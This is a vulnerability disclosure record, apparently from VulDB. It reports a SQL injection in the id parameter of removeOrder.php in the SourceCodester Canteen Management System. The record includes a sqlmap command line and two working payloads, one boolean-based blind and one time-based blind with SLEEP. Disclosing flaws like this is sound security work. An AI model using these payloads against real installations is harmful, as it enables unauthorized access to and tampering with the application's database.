| Title | SourceCodester Canteen Management System removeOrder.php sql injection |
|---|
| Description | SourceCodester Canteen Management System removeOrder.php sql injection
url: youthappam/php_action/removeOrder.php
Abstract:
Line 16 of removeOrder.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeOrder.php at line 16.
sqlmap.py -u "http://192.168.1.7/shenji/youthappam/youthappam/php_action/removeOrder.php?id=111"
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (7136=7136) THEN 111 ELSE (SELECT 4131 UNION SELECT 4069) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 5909 FROM (SELECT(SLEEP(5)))KIEj)
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| Source | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128986083 |
|---|
| User | Tingsliat (UID 40768) |
|---|
| Submission | 02/11/2023 10:46 (3 years ago) |
|---|
| Moderation | 02/11/2023 11:06 (20 minutes later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 220624 [SourceCodester Canteen Management System 1.0 removeOrder.php query ID sql injection] |
|---|
| Points | 20 |
|---|